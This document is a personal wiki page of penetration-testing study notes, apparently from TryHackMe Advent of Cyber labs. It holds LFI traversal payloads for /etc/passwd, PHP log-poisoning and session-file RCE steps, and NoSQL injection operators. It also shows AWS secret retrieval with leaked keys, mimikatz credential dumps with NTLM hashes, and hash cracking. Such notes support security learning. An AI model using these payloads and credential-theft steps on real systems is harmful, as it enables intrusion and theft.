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Trace: • basics
projects:cybersecurity:basics

https://huntr.dev/

https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/

https://www.hackerone.com/

On good password policies for application developers: https://www.troyhunt.com/passwords-evolved-authentication-guidance-for-the-modern-era/#donotmandateregularpasswordchanges

Attacks

Insecure Direct Object Reference (IDOR)

  1. Web server receives request to retrieve objects without checking for authorization (even if authenticated).
  2. e.g. manipulating query components (?id=2), POST variables (hidden fields), cookies (changing value).

Authentication bypass

  1. Cookie manipulation

Content discovery

Dirbuster

  1. SecList: https://github.com/danielmiessler/SecLists
  2. Burpsuite for automated HTTP payloads

root@machine$ dirb http://10.19.20.213 -r /usr/share/dirb/wordlists/common.txt

Local File Intrustion (LFI)

Access to local files on server via webapp.

  • Entry points can be HTTP GET or POST parameters, e.g. http://google.com/get.php?file=userCV.pdf (lack of user sanitation), here file is the entrypoint.
  • Typically chained to get RCE (remote code execution)
  • For PHP, can use PHP-filter wrappers: manual, can read stdin and stdout streams
# LFI
http://example.com/page.php?file=/etc/passwd
http://example.com/page.php?file=../../etc/passwd
http://example.com/page.php?file=../../etc/passwd%00
http://example.com/page.php?file=..//..//etc/passwd
http://example.com/page.php?file=..//..//etc/passwd
http://example.com/page.php?file=%252e%252e%252fetc%252fpasswd

# Using PHP filters
http://example.thm.labs/page.php?file=php://filter/resource=/etc/passwd
http://example.thm.labs/page.php?file=php://filter/read=string.rot13/resource=/etc/passwd http://example.thm.labs/page.php?file=php://filter/convert.base64-encode/resource=/etc/passwd

# base64 tool to retrieve data
$ echo "test string" | base64
dGVzdCBzdHJpbmcK

# Inject PHP code in base64 encoding
http://example.thm.labs/page.php?file=data://text/plain;base64,QW9DMyBpcyBmdW4hCg==

Remote code execution (RCE)

From LFI. Can achieved via log poisoning attack: injection of malicious payload into service log files (e.g. Apache, SSH), then use LFI to request the page (code execution).

For example, log files typically store different HTTP headers, including IP address, User-Agent, visited page, etc. Notably, User-Agent can be typically controlled by the user -> include PHP code into it, e.g. 

$ curl -A "<?php phpinfo();?>" http://target//  # this will be logged (but presented as plaintext by the log PHP)

Can also be achieved by PHP session data:

  1. Enumerate for PHP configuration file (e.g. C:\Windows\Temp, /tmp/, /var/lib/php5, /var/lib/php/session), to identify location of PHP session files
  2. Include PHP code into the sessions and call the file via LFI
  3. PHP typically stores sessions as sess_COOKIEVALUE (COOKIEVALUE is found under DevTools > Application > Cookies > PHPSESSID). Since username stored in session info, can inject code into the field to execute it when using LFI to call up the session file.
1. Inject ''<?php phpinfo();?>'' into the username field
2. Pull up the PHPSESSINFO and use LFI to call up session data, e.g. if session data is stored in ''/tmp'', then

https://10-10-145-154.p.thmlabs.com/index.php?err=/tmp/sess_ooh7ljoelnji0qfmpv8pjd7914

will pull up the file.

NoSQL injection

Navigating the database, mongo:

  1. show databases
  2. use [DATABASE]
  3. db.getCollectionNames()
  4. db.[NAME].find()
  5. db.[NAME].update({id:"2"},{$set:{password:"hey"}})

NoSQL (-p 2222) and MongoDB (-p 27017). Injection can be done via HTTP as well:

  1. {username:"admin", password:{"$ne":"xyz"}}
  2. /search?username=admin&role[$ne]=user

Powershell transcription logs

PowerShell Transcription Logs we were able to remotely recover just after it went missing. You can find the transcription logs within the SantasLaptopLogs folder on the Desktop of the attached Windows virtual machine.
If you aren't familiar, PowerShell Transcription Logs capture the input and output of Windows PowerShell commands, allowing an analyst to review what happened when. Typically, PowerShell Transcription can be enabled by Group Policy, but another method to turn on this logging is by configuring the Windows Registry.

To enable transcription logging: 

reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription /v EnableTranscripting /t REG_DWORD /d 0x1 /f
reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription /v OutputDirectory /t REG_SZ /d C:/ /f
reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription /v EnableInvocationHeader /t REG_DWORD /d 0x1 /f

Wireshark syntax: https://en.wikipedia.org/wiki/Berkeley_Packet_Filter

Using nmap: 

nmap -sT IP_ADDR  # connect scan, complete 3-way TCP handshake
nmap -sS IP_ADDR  # sync scan, trigger handshake, but no SYN ACK
nmap -sV ...      # version info scan

Vulnerabilities lookup: https://httpd.apache.org/security/vulnerabilities_24.html

Scan all ports: nmap -sS -p1-65535 IP_ADDR

Scan for ports without an initial ping to check if reachable in the first place, useful for Windows:

  1. nmap -Pn IP_ADDR
  2. MS SQL server can be accessed through sqsh, i.e. sqsh -S server -U username -P password
  3. If xp_cmdshell enabled, can run DOS commands through it too: xp_cmdshell 'type "C:\Users\User\Desktop\hello.txt"'

Mounting NFS servers:

  1. showmount -e 10.10.44.100
  2. mkdir tmp1 && mount 10.10.44.100:/share tmp1
  3. umount tmp1

Privilege escalation in Windows

Privilege escalation in Windows/Linux. For the former, the following privilege levels are common:

  1. Domain administrators: "domain" refers to a central registry to manage all users and computers within the organization.
  2. Services: Accounts used by software for routine tasks
  3. Domain users: Typically user
  4. Local accounts: Only on local computer, cannot be used over domain

Directly quoting from TryHackMe: A few common vectors that could allow any user to increase their privilege levels on a Windows system are listed below.

  1. Stored Credentials: Important credentials can be saved in files by the user or in the configuration file of an application installed on the target system.
  2. Windows Kernel Exploit: The Windows operating system installed on the target system can have a known vulnerability that can be exploited to increase privilege levels.
  3. Insecure File/Folder Permissions: In some situations, even a low privileged user can have read or write privileges over files and folders that can contain sensitive information.
  4. Insecure Service Permissions: Similar to permissions over sensitive files and folders, low privileged users may have rights over services. These can be somewhat harmless such as querying the service status (SERVICE_QUERY_STATUS) or more interesting rights such as starting and stopping a service (SERVICE_START and SERVICE_STOP, respectively).
  5. DLL Hijacking: Applications use DLL files to support their execution. You can think of these as smaller applications that can be launched by the main application. Sometimes DLLs that are deleted or not present on the system are called by the application. This error doesn't always result in a failure of the application, and the application can still run. Finding a DLL the application is looking for in a location we can write to can help us create a malicious DLL file that will be run by the application. In such a case, the malicious DLL will run with the main application's privilege level. If the application has a higher privilege level than our current user, this could allow us to launch a shell with a higher privilege level.
  6. Unquoted Service Path: If the executable path of a service contains a space and is not enclosed within quotes, a hacker could introduce their own malicious executables to run instead of the intended executable.
  7. Always Install Elevated: Windows applications can be installed using Windows Installer (also known as MSI packages) files. These files make the installation process easy and straightforward. Windows systems can be configured with the "AlwaysInstallElevated" policy. This allows the installation process to run with administrator privileges without requiring the user to have these privileges. This feature allows users to install software that may need higher privileges without having this privilege level. If "AlwaysInstallElevated" is configured, a malicious executable packaged as an MSI file could be run to obtain a higher privilege level.
  8. Other software: Software, applications, or scripts installed on the target machine may also provide privilege escalation vectors.

Ideally, McSkidy should explore all these. Privilege escalation does not have a silver bullet, and the vector that will work depends not only on the configuration of the target system but, in some cases, to user behaviour (e.g. finding a passwords.txt file on the desktop where the user notes his account passwords). In some cases, you will need to combine two or more vectors to achieve the desired result. 

net users
systeminfo  # OS name/version
wmic service list  # list running services

# See: Windows Privilege Escalation Room for more privilege escalation techniques

CI/CD pipeline is also prime target for privilege escalation:

  1. /etc/shadow stores actual encrypted passwords

OSINT

  1. Open-source intelligence, either from clearnet or darknet (e.g. Tor, Freenet, I2P, IPFS, Zeronet)
    1. e.g. GitHub version control
  2. RIS OSINT roller coaster
  3. Objectives:
    1. Identify real name/persona to find other linked accounts
    2. Identify email
    3. Lookup history / digital trail, information from posts
  4. Google dorking:
    1. https://www.sans.org/posters/google-hacking-and-defense-cheat-sheet/
    2. https://gist.github.com/sundowndev/283efaddbcf896ab405488330d1bbc06
  5. Can be applied to blockchain, end goal is to get back to traditional persona

OSINT research paper: https://arnoreuser.com/wp-content/uploads/2018/12/201712-The-RIS-OSINT-Intelligence-Cycle.pdf

Amazon S3

  1. AWS buckets share a global namespace - can identify name of bucket using links, say http://BUCKETNAME.s3.amazonaws.com/FILENAME.ext or http://s3.amazonaws.com/BUCKETNAME/FILENAME.ext

Query bucket: 

# curl http://irs-form-990.s3.amazonaws.com/

# aws s3 ls s3://irs-form-990/ --no-sign-request
...
2016-03-22 03:55:04      20714 201025093493004120_public.xml
2016-03-21 18:15:36      29137 201025093493004160_public.xml
2016-03-21 17:47:45      27786 201025093493005030_public.xml
2016-03-22 04:09:21      18801 201025093493005040_public.xml
2016-03-21 19:18:08      23287 201025093493005070_public.xml
2016-03-21 20:08:50      41583 201025093493005090_public.xml
2016-03-21 20:27:20      38653 201025093493005100_public.xml
2016-03-21 20:02:43      25711 201025093493005110_public.xml
...

Downloading: 

curl http://irs-form-990.s3.amazonaws.com/201101319349101615_public.xml
aws s3 cp s3://irs-form-990/201101319349101615_public.xml . --no-sign-request

Not a good idea to make buckets publicly writable: https://www.theregister.com/2018/02/22/la_times_amazon_aws_s3/

Authentication with IAM access keys = access key ID + secret access key (prefix AKIA), or session tokens (prefix ASIA).

Compromise strategy:

  1. Add AWS credentials to profile in AWS CLI: aws configure --profile PROFILENAME (good practice to avoid default profile)
  2. List all S3 buckets associated with AWS account: aws s3 ls --profile PROFILE
  3. Finding the Account ID belonging to an access key: aws sts get-access-key-info --access-key-id AKIAEXAMPLE
  4. Determining the Username the access key you're using belongs to: aws sts get-caller-identity --profile PROFILENAME
  5. Listing all the EC2 instances running in an account: aws ec2 describe-instances --output text --profile PROFILENAME
  6. Listing all the EC2 instances running in an account in a different region: aws ec2 describe-instances --output text --region us-east-1 --profile PROFILENAME
  7. An Amazon ARN is their way of generating a unique identifier for all resources in the AWS Cloud. It consists of multiple strings separated by colons. The format is: arn:aws:<service>:<region>:<account_id>:<resource_type>/<resource_name>

Sample: 

/* Add any custom values between this line and the "stop editing" line. */
define('S3_UPLOADS_BUCKET', 'images.bestfestivalcompany.com');
define('S3_UPLOADS_KEY', 'AKIAQI52OJVCPZXFYAOI');
define('S3_UPLOADS_SECRET', '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');
define('S3_UPLOADS_REGION', 'us-east-1');

root@ip-10-10-4-10:~/wp_backup# aws sts get-caller-identity --profile thm
{
    "UserId": "AIDAQI52OJVCFHT3E73BO",
    "Account": "019181489476",
    "Arn": "arn:aws:iam::019181489476:user/ElfMcHR@bfc.com"
}


root@ip-10-10-4-10:~/wp_backup# aws ec2 describe-instances --output text --profile thm
RESERVATIONS	019181489476	043234062703	r-0e89ba65b28a7c699
INSTANCES	0	x86_64	HR-Po-Insta-1NAKAMW2PPVMT	False	True	xen	ami-0c2b8ca1dad447f8a	i-0c56041ac61cf5a95	t3a.micro	hr-key	2021-11-13T12:36:58.000Z	ip-172-31-68-81.ec2.internal	172.31.68.81		/dev/xvda	ebs	True	User initiated (2021-11-13 12:42:39 GMT)	subnet-00b1107c0c18c0722	hvm	vpc-0235b5a9591606b73
BLOCKDEVICEMAPPINGS	/dev/xvda
EBS	2021-11-13T12:36:59.000Z	True	attached	vol-0ac79339aac8b249d
CAPACITYRESERVATIONSPECIFICATION	open
CPUOPTIONS	1	2
HIBERNATIONOPTIONS	False
METADATAOPTIONS	enabled	1	optional	applied
MONITORING	disabled
NETWORKINTERFACES		interface	16:35:78:d8:60:d1	eni-027945da0ddb79e59	019181489476	ip-172-31-68-81.ec2.internal	172.31.68.81	True	in-use	subnet-00b1107c0c18c0722	vpc-0235b5a9591606b73
ATTACHMENT	2021-11-13T12:36:58.000Z	eni-attach-0d91e2137f6014220	True	0	attached
GROUPS	sg-0c6e7cd87c1c8d035	default
PRIVATEIPADDRESSES	True	ip-172-31-68-81.ec2.internal	172.31.68.81
PLACEMENT	us-east-1f		default
SECURITYGROUPS	sg-0c6e7cd87c1c8d035	default
STATE	80	stopped
STATEREASON	Client.UserInitiatedShutdown	Client.UserInitiatedShutdown: User initiated shutdown
TAGS	aws:cloudformation:stack-id	arn:aws:cloudformation:us-east-1:019181489476:stack/HR-Portal/5ebc4e90-447e-11ec-a711-12d63f44d7b7
TAGS	aws:cloudformation:logical-id	Instance
TAGS	created_by	Elf McHR
TAGS	aws:cloudformation:stack-name	HR-Portal
TAGS	Name	HR-Portal

root@ip-10-10-4-10:~/wp_backup# aws secretsmanager help
root@ip-10-10-4-10:~/wp_backup# aws secretsmanager list-secrets
You must specify a region. You can also configure your region by running "aws configure".
root@ip-10-10-4-10:~/wp_backup# aws secretsmanager list-secrets --profile thm
{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:019181489476:secret:HR-Password-8AkWYF",
            "Name": "HR-Password",
            "Description": "Portal DB Secret",
            "LastChangedDate": 1637717347.812,
            "LastAccessedDate": 1639958400.0,
            "Tags": [
                {
                    "Key": "aws:cloudformation:stack-name",
                    "Value": "HR-Portal"
                },
                {
                    "Key": "aws:cloudformation:logical-id",
                    "Value": "FalseSecret"
                },
                {
                    "Key": "aws:cloudformation:stack-id",
                    "Value": "arn:aws:cloudformation:us-east-1:019181489476:stack/HR-Portal/5ebc4e90-447e-11ec-a711-12d63f44d7b7"
                },
                {
                    "Key": "created_by",
                    "Value": "Elf McHR"
                },
                {
                    "Key": "Name",
                    "Value": "Payroll"
                }
            ],
            "SecretVersionsToStages": {
                "70630b3c-4fbe-4a24-885d-18445bd808b1": [
                    "AWSCURRENT"
                ],
                "a702190e-69f7-4a8a-81fd-3d20b486657a": [
                    "AWSPREVIOUS"
                ]
            }
        }
    ]
}

root@ip-10-10-4-10:~/wp_backup# aws secretsmanager get-secret-value --secret-id arn:aws:secretsmanager:us-east-1:019181489476:secret:HR-Password-8AkWYF --profile thm
{
    "ARN": "arn:aws:secretsmanager:us-east-1:019181489476:secret:HR-Password-8AkWYF",
    "Name": "HR-Password",
    "VersionId": "70630b3c-4fbe-4a24-885d-18445bd808b1",
    "SecretString": "The Secret you're looking for is not in this **REGION**. Santa wants to have low latency to his databases. Look closer to where he lives.",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": 1637717347.718
}

root@ip-10-10-4-10:~/wp_backup# aws secretsmanager get-secret-value --secret-id arn:aws:secretsmanager:eu-north-1:019181489476:secret:HR-Password-KIJEvK --profile thm --region eu-north-1
{
    "ARN": "arn:aws:secretsmanager:eu-north-1:019181489476:secret:HR-Password-KIJEvK",
    "Name": "HR-Password",
    "VersionId": "f806c3cd-ea20-4a1a-948f-80927f3ad366",
    "SecretString": "Winter2021!",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": 1636809979.996
}

Docker

Some tips:

  1. Check working directory: ls -la
  2. Check environment: printenv
root@ip-10-10-20-249:~/aoc# docker save -o aoc.tar public.ecr.aws/h0w1j9u3/grinch-aoc:latest

root@ip-10-10-20-249:~/aoc# tar -xvf aoc.tar
40ad0e404f6065a153d1b4d42e8b315be3504a08c21fadd6e5fde5982b45df18/
40ad0e404f6065a153d1b4d42e8b315be3504a08c21fadd6e5fde5982b45df18/VERSION
40ad0e404f6065a153d1b4d42e8b315be3504a08c21fadd6e5fde5982b45df18/json
40ad0e404f6065a153d1b4d42e8b315be3504a08c21fadd6e5fde5982b45df18/layer.tar
4416e55edf1a706527e19102949972f4a8d89bbe2a45f917565ee9f3b08b7682/
4416e55edf1a706527e19102949972f4a8d89bbe2a45f917565ee9f3b08b7682/VERSION
4416e55edf1a706527e19102949972f4a8d89bbe2a45f917565ee9f3b08b7682/json
4416e55edf1a706527e19102949972f4a8d89bbe2a45f917565ee9f3b08b7682/layer.tar
4cc7bdb0ea56d31f57a373d0e7ce0d633ae86dc327087fccf103c8d97f0cc9c4/
4cc7bdb0ea56d31f57a373d0e7ce0d633ae86dc327087fccf103c8d97f0cc9c4/VERSION
4cc7bdb0ea56d31f57a373d0e7ce0d633ae86dc327087fccf103c8d97f0cc9c4/json
4cc7bdb0ea56d31f57a373d0e7ce0d633ae86dc327087fccf103c8d97f0cc9c4/layer.tar
4f62ae56d8d3b96d5fbe86da8a3f7bf6e9195d360b922cd7b162e17619c50664/
4f62ae56d8d3b96d5fbe86da8a3f7bf6e9195d360b922cd7b162e17619c50664/VERSION
4f62ae56d8d3b96d5fbe86da8a3f7bf6e9195d360b922cd7b162e17619c50664/json
4f62ae56d8d3b96d5fbe86da8a3f7bf6e9195d360b922cd7b162e17619c50664/layer.tar
619ddb982b75f0eb6c9f48624e6a0d20be227e893599d8dea05dbdddc8b14e2b/
619ddb982b75f0eb6c9f48624e6a0d20be227e893599d8dea05dbdddc8b14e2b/VERSION
619ddb982b75f0eb6c9f48624e6a0d20be227e893599d8dea05dbdddc8b14e2b/json
619ddb982b75f0eb6c9f48624e6a0d20be227e893599d8dea05dbdddc8b14e2b/layer.tar
9dedacd92213db743681db2e8d5b3247fd79ce266495d061a381c4c0441ce15d/
9dedacd92213db743681db2e8d5b3247fd79ce266495d061a381c4c0441ce15d/VERSION
9dedacd92213db743681db2e8d5b3247fd79ce266495d061a381c4c0441ce15d/json
9dedacd92213db743681db2e8d5b3247fd79ce266495d061a381c4c0441ce15d/layer.tar
a3c1e603ab4385e0b411423e70314651bb371561c45a2bc90951fa05da9ad3c4/
a3c1e603ab4385e0b411423e70314651bb371561c45a2bc90951fa05da9ad3c4/VERSION
a3c1e603ab4385e0b411423e70314651bb371561c45a2bc90951fa05da9ad3c4/json
a3c1e603ab4385e0b411423e70314651bb371561c45a2bc90951fa05da9ad3c4/layer.tar
aa7f7d1cdeacc3a446e297814a6c13a42006dc8a99baad72c0c50383d69ac551/
aa7f7d1cdeacc3a446e297814a6c13a42006dc8a99baad72c0c50383d69ac551/VERSION
aa7f7d1cdeacc3a446e297814a6c13a42006dc8a99baad72c0c50383d69ac551/json
aa7f7d1cdeacc3a446e297814a6c13a42006dc8a99baad72c0c50383d69ac551/layer.tar
f886f00520700e2ddd74a14856fcc07a360c819b4cea8cee8be83d4de01e9787.json
fa28cd504eaba5e76b168c5149551371fbeb3bc0f51d18485fe401a411c2dd17/
fa28cd504eaba5e76b168c5149551371fbeb3bc0f51d18485fe401a411c2dd17/VERSION
fa28cd504eaba5e76b168c5149551371fbeb3bc0f51d18485fe401a411c2dd17/json
fa28cd504eaba5e76b168c5149551371fbeb3bc0f51d18485fe401a411c2dd17/layer.tar
manifest.json
repositories

root@ip-10-10-20-249:~/aoc# cat manifest.json | jq
[
  {
    "Config": "f886f00520700e2ddd74a14856fcc07a360c819b4cea8cee8be83d4de01e9787.json",
    "RepoTags": [
      "public.ecr.aws/h0w1j9u3/grinch-aoc:latest"
    ],
    "Layers": [
      "a3c1e603ab4385e0b411423e70314651bb371561c45a2bc90951fa05da9ad3c4/layer.tar",
      "619ddb982b75f0eb6c9f48624e6a0d20be227e893599d8dea05dbdddc8b14e2b/layer.tar",
      "40ad0e404f6065a153d1b4d42e8b315be3504a08c21fadd6e5fde5982b45df18/layer.tar",
      "aa7f7d1cdeacc3a446e297814a6c13a42006dc8a99baad72c0c50383d69ac551/layer.tar",
      "4f62ae56d8d3b96d5fbe86da8a3f7bf6e9195d360b922cd7b162e17619c50664/layer.tar",
      "9dedacd92213db743681db2e8d5b3247fd79ce266495d061a381c4c0441ce15d/layer.tar",
      "fa28cd504eaba5e76b168c5149551371fbeb3bc0f51d18485fe401a411c2dd17/layer.tar",
      "4416e55edf1a706527e19102949972f4a8d89bbe2a45f917565ee9f3b08b7682/layer.tar",
      "4cc7bdb0ea56d31f57a373d0e7ce0d633ae86dc327087fccf103c8d97f0cc9c4/layer.tar"
    ]
  }
]
docker save image.tar [CONTAINER]
tar -xf image.tar
config.json
cd [LAYER]
+-- json
+-- layer.tar
|   +-- root/
|       +-- CACHED STUFF
+-- VERSION

Phishing

Email view source, to see encoding of attachment, e.g. base64.

Piping: cat [FILE] | base64 -d > password-reset-instructions.pdf

File

Of course, the magic headers: file [FILENAME] on Linux 

ubuntu@ip-10-10-31-202:~/Desktop/Samples$ file exmatter 
exmatter: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
ubuntu@ip-10-10-31-202:~/Desktop/Samples$ file bizarro 
bizarro: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

See UTF8? strings in the source: 

!This program cannot be run in DOS mode.
.text
`.rsrc
@.reloc
%X2|
Ev{(
$F4|x~
5SnL
<uLM
fb      T
6<Vp
-],1
...
!SSH_MSG_CHANNEL_OPEN_CONFIRMATION[
SSH_MSG_CHANNEL_OPEN_FAILURE\
SSH_MSG_CHANNEL_OPENZ
SSH_MSG_CHANNEL_REQUESTb
SSH_MSG_CHANNEL_SUCCESSc
SSH_MSG_CHANNEL_WINDOW_ADJUST]
SSH_MSG_GLOBAL_REQUESTP
SSH_MSG_REQUEST_FAILURER
SSH_MSG_REQUEST_SUCCESSQ
SSH_MSG_USERAUTH_BANNER5
SSH_MSG_USERAUTH_FAILURE3
SSH_MSG_USERAUTH_INFO_REQUEST<
SSH_MSG_USERAUTH_INFO_RESPONSE=
!SSH_MSG_USERAUTH_PASSWD_CHANGEREQ<
SSH_MSG_USERAUTH_PK_OK<
SSH_MSG_USERAUTH_REQUEST2
SSH_MSG_USERAUTH_SUCCESS4
DEBUG
AllowMultiple
	Inherited
				
(				
				
					
			
...

Indication of some SSH thing. md5sum to compute MD5 hashes. Can use virustotal.com to check MD5 hash:

  1. Malware repository: https://malshare.com/
  2. Analysis: https://www.joesandbox.com/analysis/513164/0/html#deviceScreen
  3. Behaviour: https://www.virustotal.com/gui/file/325ecd90ce19dd8d184ffe7dfb01b0dd02a77e9eabcb587f3738bcfbd3f832a1/behavior/C2AE
  4. Test files: https://www.virustotal.com/gui/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/detection
ubuntu@ip-10-10-51-232:~/Desktop$ yara -s yaratest testfile 
eicaryara testfile
0x0:$a: X5O
0x1c:$b: EICAR
0x2b:$c: ANTIVIRUS
0x35:$d: TEST

oledump.py [FILENAME] 

C:\Desktop\Tools>oledump.py Document1.doc
1: 114 '\x01CompObj'
2: 4096 '\x05DocumentSummaryInformation'
3: 4096 '\x05SummaryInformation'
4: 13859 '1Table'
5: 33430 'Data'
6: 365 'Macros/PROJECT'
7: 41 'Macros/PROJECTwm'
8: M 9852 'Macros/VBA/ThisDocument'  # <- Macro
9: 5460 'Macros/VBA/_VBA_PROJECT'
10: 513 'Macros/VBA/dir'

Maintaining persistence

Escalate privileges and maintaining persistence. Dumping passwords -> brute force clear text.

Windows uses Security Accounts Manager (SAM) to store passwords.

  1. LAN Manager <- deprecated
  2. NT LAN Manager <- Modern

Local Security Authority Subsystem Service (LSASS) process retrieves from database, verifies password, then stores it in memory for convenience.

mimikatz to retrieve password hashes from memory. 

PS C:\Users\Administrator\Desktop\mimikatz\x64> .\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 532161 (00000000:00081ec1)
Session           : Interactive from 0
User Name         : emily
Domain            : THM
Logon Server      : THM
Logon Time        : 12/25/2021 3:33:17 AM
SID               : S-1-5-21-1966530601-3185510712-10604624-1009
        msv :
         [00000003] Primary
         * Username : emily
         * Domain   : THM
         * NTLM     : 8af326aa4850225b75c592d4ce19ccf5
         * SHA1     : 8c4c6c4e493ec2beef5f6f6a9c4472c13bed42e8
        tspkg :
        wdigest :
         * Username : emily
         * Domain   : THM
         * Password : (null)
        kerberos :
         * Username : emily
         * Domain   : THM
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 443115 (00000000:0006c2eb)
Session           : RemoteInteractive from 2
User Name         : Administrator
Domain            : THM
Logon Server      : THM
Logon Time        : 12/25/2021 3:33:11 AM
SID               : S-1-5-21-1966530601-3185510712-10604624-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : THM
         * NTLM     : 001a5b3e266374c0df96a298f7f7419f
         * SHA1     : 6a6be7a1f14813295de2335bb8d1deadcfb57704
        tspkg :
        wdigest :
         * Username : Administrator
         * Domain   : THM
         * Password : (null)
        kerberos :
         * Username : Administrator
         * Domain   : THM
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 421294 (00000000:00066dae)
Session           : Interactive from 2
User Name         : UMFD-2
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 12/25/2021 3:33:10 AM
SID               : S-1-5-96-0-2
        msv :
        tspkg :
        wdigest :
         * Username : THM$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 60236 (00000000:0000eb4c)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 12/25/2021 3:30:29 AM
SID               : S-1-5-90-0-1
        msv :
        tspkg :
        wdigest :
         * Username : THM$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : THM$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 12/25/2021 3:30:28 AM
SID               : S-1-5-20
        msv :
        tspkg :
        wdigest :
         * Username : THM$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
         * Username : thm$
         * Domain   : WORKGROUP
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 30650 (00000000:000077ba)
Session           : Interactive from 1
User Name         : UMFD-1
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 12/25/2021 3:30:28 AM
SID               : S-1-5-96-0-1
        msv :
        tspkg :
        wdigest :
         * Username : THM$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 421990 (00000000:00067066)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 12/25/2021 3:33:10 AM
SID               : S-1-5-90-0-2
        msv :
        tspkg :
        wdigest :
         * Username : THM$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 421974 (00000000:00067056)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 12/25/2021 3:33:10 AM
SID               : S-1-5-90-0-2
        msv :
        tspkg :
        wdigest :
         * Username : THM$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 12/25/2021 3:30:29 AM
SID               : S-1-5-19
        msv :
        tspkg :
        wdigest :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        kerberos :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 60255 (00000000:0000eb5f)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 12/25/2021 3:30:29 AM
SID               : S-1-5-90-0-1
        msv :
        tspkg :
        wdigest :
         * Username : THM$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 30699 (00000000:000077eb)
Session           : Interactive from 0
User Name         : UMFD-0
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 12/25/2021 3:30:28 AM
SID               : S-1-5-96-0-0
        msv :
        tspkg :
        wdigest :
         * Username : THM$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 29509 (00000000:00007345)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 12/25/2021 3:30:28 AM
SID               :
        msv :
        tspkg :
        wdigest :
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : THM$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 12/25/2021 3:30:28 AM
SID               : S-1-5-18
        msv :
        tspkg :
        wdigest :
         * Username : THM$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
         * Username : thm$
         * Domain   : WORKGROUP
         * Password : (null)
        ssp :
        credman :

mimikatz #

After which, use the rockyou.txt wordlist to test, using John the Ripper: john --format=NT -w=rockyou.txt hash.txt --pot=output.txt.

Other useful resources

Resources

https://tryhackme.com/room/adventofcyber3

  1. CyberChef: smart decoding of encoded texts
  2. TryHackMe is a pretty good introduction
    1. xssgi: XSS vulnerabilities
    2. wreath: Pivoting
  3. sherlock: OSINT social media search
  4. YARA rules: https://github.com/InQuest/awesome-yara
  5. YARA room: https://tryhackme.com/jr/yara
  6. YARA docs: https://yara.readthedocs.io/en/stable/writingrules.html#

https://attack.mitre.org/techniques/T1566/

Tools

  1. Encoding:
    1. CyberChef
    2. ''base64''

Programs:

  • xfreerdp: RDP (from freerdp2-x11)
    • xfreerdp /u:Administrator /p:grinch123! /v:MACHINE_IP
  • dirbuster:
    • git clone https://gitlab.com/kalilinux/packages/dirbuster.git /opt/dirbuster && sudo /opt/dirbuster/DirBuster-1.0-RC1.sh
    • Add alias dirbuster="source /opt/dirbuster/DirBuster-1.0-RC1.sh" to ~/.bash_aliases
    • Modify the SH script: java -Xmx256M -jar /opt/dirbuster/DirBuster-1.0-RC1.jar
    • Java must be installed: sudo apt install openjdk-13-jre-headless
  • Living off the land binaries: https://lolbas-project.github.io/lolbas/Binaries/Certutil/
  • John the Ripper for hash comparison

yara

OLEdump: https://blog.didierstevens.com/programs/oledump-py/

